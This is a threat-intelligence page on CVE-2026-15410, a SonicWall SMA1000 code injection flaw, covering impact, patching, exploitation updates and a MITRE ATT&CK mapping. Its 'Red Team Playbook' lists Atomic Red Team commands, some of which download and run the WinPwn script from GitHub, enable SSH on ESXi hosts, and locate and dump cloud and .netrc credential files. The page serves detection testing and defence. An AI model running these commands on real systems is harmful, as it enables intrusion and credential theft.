CVE-2026-15410

HIGH CISA KEV EXPLOIT POC Pub 14/07 Upd 04/08

Overview

This vulnerability is a post-authentication code injection flaw rooted in improper control over code generation within the SonicWall SMA1000 Appliance Management Console (AMC). The vulnerability arises due to insufficient validation of user-supplied input that is incorporated into command execution contexts. The affected component is the AMC interface, which processes administrative commands and configurations.

Vulnerability Description

Post-authentication improper control of generation of code ('Code Injection') vulnerability has been identified in the SMA1000 Appliance Management Console (AMC) which in specific conditions could potentially enable a remote authenticated attacker as administrator to execute arbitrary OS commands.

Impact

An attacker with valid administrator credentials can execute arbitrary operating system commands on the SMA1000 appliance, resulting in full control over the device. This includes the potential to manipulate device configurations, access sensitive data, disrupt services, or pivot laterally within the network. The prerequisite is possession of administrative-level authentication, which may be obtained through credential compromise or insider threat. The business consequence includes complete system compromise and potential network-wide security breaches.

Solution

SonicWall has released a security advisory (SNWLID-2026-0008) addressing this vulnerability in the SMA1000 Appliance Management Console. Administrators should apply the firmware update provided by SonicWall that patches this code injection flaw. Detailed patch instructions and version information are available at https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008. No alternative workarounds are specified; prompt application of the vendor-supplied update is recommended.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A significant vulnerability has been identified in the SMA1000 Appliance Management Console (AMC), characterized by improper control over the generation of code, specifically manifesting as a code injection flaw. This vulnerability arises when the system fails to adequately validate or sanitize user inputs, allowing an authenticated attacker with administrative privileges to inject and execute arbitrary operating system commands. The implications of this flaw are severe, as it can lead to unauthorized access and manipulation of the underlying operating system, potentially compromising the entire appliance and the network it operates within.

The attack vectors associated with this vulnerability are particularly concerning due to the requirement for authentication. An attacker must first gain administrative access to the SMA1000 AMC, which could be achieved through various means such as credential theft, exploitation of weak passwords, or social engineering tactics. Once inside, the attacker can leverage the code injection vulnerability to execute arbitrary commands on the operating system. This could lead to a range of malicious activities, including data exfiltration, installation of malware, or even complete system takeover. The ability to execute commands remotely amplifies the risk, as it allows attackers to operate from a distance, evading detection while executing harmful actions.

The real-world impact of this vulnerability is significant, particularly for organizations that rely on the SMA1000 for critical operations. The potential for an attacker to gain control over the appliance poses a substantial business risk, including financial loss, reputational damage, and legal consequences stemming from data breaches or service disruptions. Organizations may face regulatory scrutiny if sensitive data is compromised, and the recovery from such an incident can be both time-consuming and costly. Furthermore, the interconnected nature of modern networks means that a successful exploitation could have cascading effects, impacting not just the vulnerable appliance but also other systems and services within the network.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including penetration testing and vulnerability scanning, can help identify weaknesses in the system before they are exploited. Additionally, organizations should enforce strict access controls, ensuring that only authorized personnel have administrative privileges to the SMA1000 AMC. Implementing robust logging and monitoring solutions can also aid in detecting suspicious activities that may indicate an attempted exploitation of the vulnerability. Furthermore, applying security patches and updates provided by the vendor is critical in closing the gap that allows for such vulnerabilities to exist.

In conclusion, the improper control of code generation in the SMA1000 Appliance Management Console presents a serious threat to organizations utilizing this product. The combination of the need for authenticated access and the potential for arbitrary command execution creates a dangerous scenario for both system integrity and data security. Organizations must remain vigilant, employing proactive measures to detect and mitigate this vulnerability while also preparing for the potential fallout should exploitation occur. By prioritizing security and maintaining awareness of emerging threats, businesses can better protect themselves against the risks posed by such vulnerabilities.




CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2026-15410, coinciding with its recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog. This formal recognition by CISA underscores the vulnerability’s elevated risk profile and mandates prioritization for remediation by organizations subject to federal cybersecurity directives. Although current exploit telemetry remains limited with no confirmed active exploitation or ransomware linkage, the heightened visibility and official designation increase the likelihood of targeted attacks emerging imminently. The updated CVSS score of 7.2 reflects the vulnerability’s potential impact, particularly given its post-authentication code injection vector on SonicWall SMA1000 appliances, which could facilitate unauthorized command execution with administrative privileges. Consequently, the threat level has shifted from theoretical concern to a credible and actionable risk, demanding increased vigilance from defenders monitoring for exploitation attempts and preparing for potential incident response scenarios.



Update 2 — July 23, 2026

CSURFACE threat intelligence has detected a marked escalation in activity targeting CVE-2026-15410, with a significant surge in exploitation attempts observed across our telemetry. This increase coincides with the emergence of publicly available proof-of-concept exploit code on GitHub, broadening the accessibility of attack methods to a wider range of threat actors. The vulnerability’s Exploit Prediction Scoring System (EPSS) score has risen substantially, indicating a growing likelihood of exploitation in the wild. These developments suggest that adversaries are rapidly advancing their capabilities to leverage this post-authentication code injection flaw in SonicWall SMA1000 appliances. The expanded exploit landscape and heightened detection frequency elevate the threat level from a theoretical concern to an active and credible risk, underscoring the urgency for defenders to enhance monitoring and detection efforts. While ransomware involvement remains unconfirmed, the increased exploitation potential could facilitate lateral movement or privilege escalation in targeted environments, amplifying the overall impact of successful compromises.



Update 3 — August 14, 2026

CSURFACE threat intelligence has identified critical developments in the exploitation landscape of CVE-2026-15410. The emergence of a Metasploit module has significantly lowered the technical barrier for adversaries to execute arbitrary OS commands post-authentication on SonicWall SMA1000 appliances. This shift is reflected in a marked increase in the Exploit Prediction Scoring System (EPSS) score, now placing the vulnerability in the 99th percentile for exploitation likelihood. Our telemetry indicates a slight but consistent rise in detection activity, signaling growing adversary interest and operational use. Notably, ransomware actors, specifically the Sinobi group, have been linked to campaigns leveraging this vulnerability, confirming its weaponization in financially motivated attacks. This association elevates the threat from a primarily theoretical or opportunistic risk to a credible vector for ransomware intrusion and lateral movement within compromised networks. Consequently, the overall threat level is heightened, underscoring the urgency for defenders to prioritize monitoring for exploitation attempts and to reassess risk postures related to SonicWall SMA1000 deployments.

Affected Products (18)

Vendor Product Version CPE
sonicwall Sonicwall Sma8200v 12.4.3-03245 cpe:2.3:a:sonicwall:sma8200v:12.4.3-03245:*:*:*:*:*:*:*
sonicwall Sonicwall Sma8200v 12.4.3-03387 cpe:2.3:a:sonicwall:sma8200v:12.4.3-03387:*:*:*:*:*:*:*
sonicwall Sonicwall Sma8200v 12.4.3-03434 cpe:2.3:a:sonicwall:sma8200v:12.4.3-03434:*:*:*:*:*:*:*
sonicwall Sonicwall Sma8200v 12.5.0-02283 cpe:2.3:a:sonicwall:sma8200v:12.5.0-02283:*:*:*:*:*:*:*
sonicwall Sonicwall Sma8200v 12.5.0-02624 cpe:2.3:a:sonicwall:sma8200v:12.5.0-02624:*:*:*:*:*:*:*
sonicwall Sonicwall Sma8200v 12.5.0-02800 cpe:2.3:a:sonicwall:sma8200v:12.5.0-02800:*:*:*:*:*:*:*
sonicwall Sonicwall Sma6210 Firmware 12.4.3-03245 cpe:2.3:o:sonicwall:sma6210_firmware:12.4.3-03245:*:*:*:*:*:*:*
sonicwall Sonicwall Sma6210 Firmware 12.4.3-03387 cpe:2.3:o:sonicwall:sma6210_firmware:12.4.3-03387:*:*:*:*:*:*:*
sonicwall Sonicwall Sma6210 Firmware 12.4.3-03434 cpe:2.3:o:sonicwall:sma6210_firmware:12.4.3-03434:*:*:*:*:*:*:*
sonicwall Sonicwall Sma6210 Firmware 12.5.0-02283 cpe:2.3:o:sonicwall:sma6210_firmware:12.5.0-02283:*:*:*:*:*:*:*
sonicwall Sonicwall Sma6210 Firmware 12.5.0-02624 cpe:2.3:o:sonicwall:sma6210_firmware:12.5.0-02624:*:*:*:*:*:*:*
sonicwall Sonicwall Sma6210 Firmware 12.5.0-02800 cpe:2.3:o:sonicwall:sma6210_firmware:12.5.0-02800:*:*:*:*:*:*:*
sonicwall Sonicwall Sma7210 Firmware 12.4.3-03245 cpe:2.3:o:sonicwall:sma7210_firmware:12.4.3-03245:*:*:*:*:*:*:*
sonicwall Sonicwall Sma7210 Firmware 12.4.3-03387 cpe:2.3:o:sonicwall:sma7210_firmware:12.4.3-03387:*:*:*:*:*:*:*
sonicwall Sonicwall Sma7210 Firmware 12.4.3-03434 cpe:2.3:o:sonicwall:sma7210_firmware:12.4.3-03434:*:*:*:*:*:*:*
sonicwall Sonicwall Sma7210 Firmware 12.5.0-02283 cpe:2.3:o:sonicwall:sma7210_firmware:12.5.0-02283:*:*:*:*:*:*:*
sonicwall Sonicwall Sma7210 Firmware 12.5.0-02624 cpe:2.3:o:sonicwall:sma7210_firmware:12.5.0-02624:*:*:*:*:*:*:*
sonicwall Sonicwall Sma7210 Firmware 12.5.0-02800 cpe:2.3:o:sonicwall:sma7210_firmware:12.5.0-02800:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
SonicWall SMA1000 WorkPlace wsproxy SSRF Remote Command Execution
exploits/linux/http/sonicwall_sma1000_wsproxy_rce
Ryan Emmons, Deral Heiland, Rapid7 Vulnerability Research Unknown - View

GitHub PoCs (2)

Repository Author Stars Forks Date Link
PoC
- 0 0 - View
HORKimhab/CVE-2026-15410
CVE-2026-15410 - More: https://github.com/HORKimhab/poc-cve-collection
HORKimhab 0 0 2026-07-15 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

28 events
2026-08-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-04
Exploited by sinobi

Ransomware group known to exploit this vulnerability (274 known victims)

2026-08-04
Exploited by sinobi

Ransomware group known to exploit this vulnerability (274 known victims)

2026-08-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-26
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-20
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-17
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-16
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-15
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-07-15
PoC Published (2 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2026-07-14
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-14
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2026-07-14
Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution
100% rce
Code Injection
80% code_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-242 Code Injection
51%
High High
CAPEC-35 Leverage Executable Code in Non-Executable Files
41%
High Very High
CAPEC-77 Manipulating User-Controlled Variables
35%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-15410
psirt.global.sonicwall.com
GitHub CVE vendor-advisory
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008
cisa.gov
NVD API
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-15410